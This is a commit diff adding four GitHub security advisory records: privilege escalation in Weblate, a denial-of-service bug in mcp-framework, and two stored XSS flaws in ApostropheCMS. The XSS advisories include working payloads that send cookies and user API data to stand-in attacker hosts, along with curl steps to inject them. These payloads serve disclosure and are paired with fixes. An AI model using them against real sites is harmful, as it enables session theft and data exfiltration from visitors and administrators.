Skip to content

File tree

11 files changed

+733
-0
lines changed

11 files changed

+733
-0
lines changed
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-3382-gw9x-477v",
4+
"modified": "2026-04-16T20:43:49Z",
5+
"published": "2026-04-16T20:43:48Z",
6+
"aliases": [
7+
"CVE-2026-34393"
8+
],
9+
"summary": "Weblate: Privilege escalation in the user API endpoint",
10+
"details": "### Impact\n\nThe user patching API endpoint didn't properly limit the scope of edits.\n\n### Patches\n* https://github.com/WeblateOrg/weblate/pull/18687\n\n\n### References\nThanks to @tikket1 and @DavidCarliez for reporting this via GitHub. We received two individual reports for this.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "weblate"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "5.17"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WeblateOrg/weblate/security/advisories/GHSA-3382-gw9x-477v"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34393"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/WeblateOrg/weblate/pull/18687"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/WeblateOrg/weblate"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-269"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-04-16T20:43:48Z",
63+
"nvd_published_at": "2026-04-15T19:16:36Z"
64+
}
65+
}
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-353c-v8x9-v7c3",
4+
"modified": "2026-04-16T20:44:32Z",
5+
"published": "2026-04-16T20:44:32Z",
6+
"aliases": [
7+
"CVE-2026-39313"
8+
],
9+
"summary": "MCP-Framework: Unbounded memory allocation in readRequestBody allows denial of service via HTTP transport",
10+
"details": "### Summary\n\nThe `readRequestBody()` function in `src/transports/http/server.ts` concatenates HTTP request body chunks into a string with no size limit, allowing a remote unauthenticated attacker to crash the server via memory exhaustion with a single large HTTP POST request.\n\n### Details\n\n**File:** `src/transports/http/server.ts`, lines 224-240\n\n```typescript\nprivate async readRequestBody(req: IncomingMessage): Promise<any> {\n return new Promise((resolve, reject) => {\n let body = '';\n req.on('data', (chunk) => {\n body += chunk.toString(); // No size limit\n });\n req.on('end', () => {\n try {\n const parsed = body ? JSON.parse(body) : null;\n resolve(parsed);\n } catch (error) {\n reject(error);\n }\n });\n req.on('error', reject);\n });\n }\n```\n\nA `maxMessageSize` configuration value exists in `DEFAULT_HTTP_STREAM_CONFIG` (4MB, defined in `src/transports/http/types.ts` line 124) but is never enforced in `readRequestBody()`. This creates a false sense of security.\n\n### PoC\n\nLocal testing with 50MB POST payloads against the vulnerable `readRequestBody()` function:\n\n| Trial | Payload | RSS growth | Time | Result |\n|-------|---------|-----------|------|--------|\n| 1 | 50MB | +197MB | 42ms | Vulnerable |\n| 2 | 50MB | +183MB | 46ms | Vulnerable |\n| 3 | 50MB | +15MB | 43ms | Vulnerable |\n| 4 | 50MB | +14MB | 32ms | Vulnerable |\n| 5 | 50MB | +65MB | 38ms | Vulnerable |\n\nReproducibility: 5/5 (100%)\n\n### Impact\n\n- **Denial of Service:** Any mcp-framework HTTP server can be crashed by a single large POST request to /mcp\n- **No authentication required:** readRequestBody() executes before any auth checks (auth is opt-in, default is no auth)\n- **Dead config:** maxMessageSize exists but is never enforced, giving a false sense of security\n- **Affected:** All applications using mcp-framework HttpStreamTransport (60,000 weekly npm downloads)\n\n**CWE-770:** Allocation of Resources Without Limits or Throttling\n**Suggested CVSS 3.1:** 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\n### Suggested Fix\n\nEnforce `maxMessageSize` in `readRequestBody()`:\n\n```typescript\nprivate async readRequestBody(req: IncomingMessage): Promise<any> {\n const maxSize = this._config.maxMessageSize || 4 * 1024 * 1024;\n return new Promise((resolve, reject) => {\n let body = '';\n let size = 0;\n req.on('data', (chunk) => {\n size += chunk.length;\n if (size > maxSize) {\n req.destroy();\n reject(new Error('Request body too large'));\n return;\n }\n body += chunk.toString();\n });\n // ...\n });\n }\n```\n\n### Disclosure Timeline\n\nThis report follows coordinated disclosure. I request a 90-day window before public disclosure.\n\n**Reporter:** Raza Sharif, CyberSecAI Ltd (contact@agentsign.dev)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "mcp-framework"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.2.22"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.2.21"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/QuantGeekDev/mcp-framework/security/advisories/GHSA-353c-v8x9-v7c3"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/QuantGeekDev/mcp-framework/commit/f97d2bb76d6359faf10cd1fc54b4911476b62524"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/QuantGeekDev/mcp-framework"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-770"
58+
],
59+
"severity": "HIGH",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-04-16T20:44:32Z",
62+
"nvd_published_at": null
63+
}
64+
}
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-855c-r2vq-c292",
4+
"modified": "2026-04-16T20:44:18Z",
5+
"published": "2026-04-16T20:44:18Z",
6+
"aliases": [
7+
"CVE-2026-35569"
8+
],
9+
"summary": "Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS",
10+
"details": "## Summary\n\nA stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.\n\nImproper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.\n\n## Affected Version\nApostropheCMS (tested on version: v4.28.0)\n\n## Vulnerability Details\nUser-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:\n\n- `<title>`\n- `<meta>` attributes\n- structured data (JSON-LD)\n\nThis allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.\n\n\n\n## PoC 1\n\n**The following payload demonstrates breaking out of HTML context:**\n```javascript\n\"></title><script>alert(1)</script>\n```\nThis confirms:\n - Improper output encoding\n - Ability to escape `<title> / <meta>` contexts\n - Arbitrary script execution\n\n## PoC 2\n**This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.**\n```javascript\n\"></title><script>\nfetch('/api/v1/@apostrophecms/user', {\n credentials:'include'\n})\n.then(r=>r.text())\n.then(d=>{\n fetch('http://ATTACKER-IP:5656/?data='+btoa(d))\n})\n</script>\n```\n\n\n## Video Proof of Concept\n\nWatch the following YouTube video for a full demonstration of the exploit:\n\n**PoC Video:** https://youtu.be/FZuulua_pa8\n\n\n## Steps to Reproduce\n\n1. Start a local listener: `python3 -m http.server 5656`\n2. Login to ApostropheCMS as an authenticated user\n3. Create or edit a page\n4. Navigate to SEO settings\n5. Insert the payload into the SEO Title field and Meta Description\n```javascript\n\"></title><script>\nfetch('/api/v1/@apostrophecms/user',{\n credentials:'include'\n})\n.then(r=>r.text())\n.then(d=>{\n fetch('http://ATTACKER-IP:5656/?data='+btoa(d))\n})\n</script>\n```\n6. Set **Schema Type** to \"Web page\"\n7. Save and publish the page\n8. Have an administrator visit the page\n\n\n## Result\n- The payload executes in the admin’s browser\n- The script sends a request to: `/api/v1/@apostrophecms/user`\n- The response contains sensitive user data:\n - usernames\n - email addresses\n - roles (including admin)\n\n- The data is exfiltrated to the attacker-controlled server:\n - `http://ATTACKER-IP:5656`\n\n## Evidence\n- The attacker server receives:\n - `GET /?data=BASE64_ENCODED_RESPONSE`\n- Decoding the response reveals sensitive application data.\n\n## Security Impact\nThis vulnerability allows an attacker to:\n - Execute arbitrary JavaScript in an authenticated admin context\n - Perform authenticated API requests (session riding)\n - Access sensitive application data via internal APIs\n - Exfiltrate sensitive data to an external attacker-controlled server",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "apostrophe"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.29.0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 4.28.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35569"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3"
53+
},
54+
{
55+
"type": "PACKAGE",
56+
"url": "https://github.com/apostrophecms/apostrophe"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-116",
62+
"CWE-79"
63+
],
64+
"severity": "HIGH",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-04-16T20:44:18Z",
67+
"nvd_published_at": "2026-04-15T20:16:36Z"
68+
}
69+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-97v6-998m-fp4g",
4+
"modified": "2026-04-16T20:42:37Z",
5+
"published": "2026-04-16T20:42:37Z",
6+
"aliases": [
7+
"CVE-2026-33889"
8+
],
9+
"summary": "ApostropheCMS: Stored XSS via CSS Custom Property Injection in @apostrophecms/color-field Escaping Style Tag Context",
10+
"details": "## Summary\n\nThe `@apostrophecms/color-field` module bypasses color validation for values prefixed with `--` (intended for CSS custom properties), but performs no HTML sanitization on these values. When styles containing attacker-controlled color values are rendered into `<style>` tags — both in the global stylesheet (editors only) and in per-widget style elements (all visitors) — the lack of escaping allows an editor to inject `</style>` followed by arbitrary HTML/JavaScript, achieving stored XSS against all site visitors.\n\n## Details\n\n**Root Cause 1: Validation bypass in color field** (`modules/@apostrophecms/color-field/index.js:36`)\n\nThe color field's `convert` method uses TinyColor to validate color values, but exempts any value starting with `--`:\n\n```javascript\n// modules/@apostrophecms/color-field/index.js:26-38\nasync convert(req, field, data, destination) {\n destination[field.name] = self.apos.launder.string(data[field.name]);\n // ...\n const test = new TinyColor(destination[field.name]);\n if (!test.isValid && !destination[field.name].startsWith('--')) {\n destination[field.name] = null;\n }\n},\n```\n\nA value like `--x: red}</style><script>alert(document.cookie)</script><style>` passes validation because it starts with `--`. The `launder.string()` call performs type coercion only — it does not strip HTML metacharacters like `<`, `>`, or `/`.\n\n**Root Cause 2a: Unescaped rendering in widget styles (public path)** (`modules/@apostrophecms/styles/lib/methods.js:232-234`)\n\nThe `getWidgetElements()` method concatenates the CSS string directly into a `<style>` tag:\n\n```javascript\n// modules/@apostrophecms/styles/lib/methods.js:232-234\nreturn `<style data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\">\\n` +\n css +\n '\\n</style>';\n```\n\nThis is then marked as safe HTML via `template.safe()` in the helpers (`modules/@apostrophecms/styles/lib/helpers.js:17-20`), and rendered for **all visitors** on any page containing a styled widget (`modules/@apostrophecms/widget-type/index.js:426-432`).\n\n**Root Cause 2b: Unescaped rendering in global stylesheet (editor path)** (`modules/@apostrophecms/template/index.js:1164-1165`)\n\nThe `renderNodes()` function returns `node.raw` without escaping:\n\n```javascript\n// modules/@apostrophecms/template/index.js:1164-1165\nif (node.raw != null) {\n return node.raw;\n}\n```\n\nStyle nodes containing the malicious color values are rendered as raw HTML, affecting editors and admins who can `view-draft`.\n\n## PoC\n\n**Prerequisites:** An account with `editor` role on an Apostrophe 4.x instance. The site must have at least one piece or page type with a color field used in styles configuration.\n\n**Step 1: Authenticate and obtain a CSRF token and session cookie.**\n\n```bash\n# Login as editor\nCOOKIE_JAR=$(mktemp)\ncurl -s -c \"$COOKIE_JAR\" -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"editor\",\"password\":\"editor123\"}'\n\n# Extract CSRF token\nCSRF=$(curl -s -b \"$COOKIE_JAR\" http://localhost:3000/api/v1/@apostrophecms/i18n/locale/en | grep -o '\"csrfToken\":\"[^\"]*\"' | cut -d'\"' -f4)\n```\n\n**Step 2: Create or update a piece/page with a malicious color value in a styled widget.**\n\nThe exact API route depends on the site's widget configuration. For a widget type that uses a color field in its styles schema (e.g., a `background-color` style property):\n\n```bash\n# Inject XSS payload via color field in widget styles\n# The --x prefix bypasses TinyColor validation\nPAYLOAD='--x: red}</style><img src=x onerror=\"fetch(`https://attacker.example/steal?c=`+document.cookie)\"><style>'\n\ncurl -s -b \"$COOKIE_JAR\" -X POST \\\n \"http://localhost:3000/api/v1/@apostrophecms/page\" \\\n -H \"Content-Type: application/json\" \\\n -H \"X-XSRF-TOKEN: $CSRF\" \\\n -d '{\n \"slug\": \"/xss-test\",\n \"title\": \"Test Page\",\n \"type\": \"default-page\",\n \"main\": {\n \"items\": [{\n \"type\": \"some-widget\",\n \"styles\": {\n \"backgroundColor\": \"'\"$PAYLOAD\"'\"\n }\n }]\n }\n }'\n```\n\n**Step 3: Publish the page.**\n\n```bash\ncurl -s -b \"$COOKIE_JAR\" -X POST \\\n \"http://localhost:3000/api/v1/@apostrophecms/page/{pageId}/publish\" \\\n -H \"X-XSRF-TOKEN: $CSRF\"\n```\n\n**Step 4: Any visitor navigates to the published page.**\n\n```bash\n# As an unauthenticated visitor\ncurl -s http://localhost:3000/xss-test | grep -A2 'onerror'\n```\n\n**Expected (safe):** The color value is escaped or rejected.\n\n**Actual:** The rendered HTML contains:\n\n```html\n<style data-apos-widget-style-for=\"...\" data-apos-widget-style-id=\"...\">\n.apos-widget-style-... { background-color: --x: red}</style><img src=x onerror=\"fetch(`https://attacker.example/steal?c=`+document.cookie)\"><style>; }\n</style>\n```\n\nThe injected `</style>` closes the style tag, and the `<img onerror>` executes JavaScript in the visitor's browser.\n\n## Impact\n\n- **Stored XSS on public pages (Path B):** An editor can inject JavaScript that executes for **every visitor** to any page containing the affected widget. This enables mass cookie theft, session hijacking, keylogging, phishing overlays, and drive-by malware delivery against the site's entire audience.\n- **Privilege escalation (Path A):** An editor can steal admin session tokens from higher-privileged users viewing draft content, escalating to full administrative control of the CMS.\n- **Persistence:** The payload is stored in the database and survives restarts. It executes on every page load until the content is manually edited.\n- **No CSP mitigation:** Apostrophe does not enforce a strict Content-Security-Policy by default, so inline script execution is not blocked.\n\n## Recommended Fix\n\n**Fix 1: Sanitize color values in the color field's `convert` method** (`modules/@apostrophecms/color-field/index.js`):\n\n```javascript\n// Before (line 36):\nif (!test.isValid && !destination[field.name].startsWith('--')) {\n destination[field.name] = null;\n}\n\n// After:\nif (!test.isValid && !destination[field.name].startsWith('--')) {\n destination[field.name] = null;\n} else if (destination[field.name].startsWith('--')) {\n // CSS custom property names: only allow alphanumeric, hyphens, underscores\n if (!/^--[a-zA-Z0-9_-]+$/.test(destination[field.name])) {\n destination[field.name] = null;\n }\n}\n```\n\n**Fix 2: Escape CSS output in `getWidgetElements`** (`modules/@apostrophecms/styles/lib/methods.js`):\n\n```javascript\n// Before (line 232-234):\nreturn `<style data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\">\\n` +\n css +\n '\\n</style>';\n\n// After:\nconst sanitizedCss = css.replace(/<\\//g, '<\\\\/');\nreturn `<style data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\">\\n` +\n sanitizedCss +\n '\\n</style>';\n```\n\nBoth fixes should be applied: Fix 1 provides input validation (defense in depth at the data layer), and Fix 2 provides output encoding (preventing style tag breakout regardless of the input source).",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "apostrophe"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.29.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-97v6-998m-fp4g"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33889"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/apostrophecms/apostrophe/commit/6a89bdb7acdb2e1e9bf1429961a6ba7f99410481"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/apostrophecms/apostrophe"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-79"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-04-16T20:42:37Z",
63+
"nvd_published_at": "2026-04-15T20:16:35Z"
64+
}
65+
}

0 commit comments

Comments
 (0)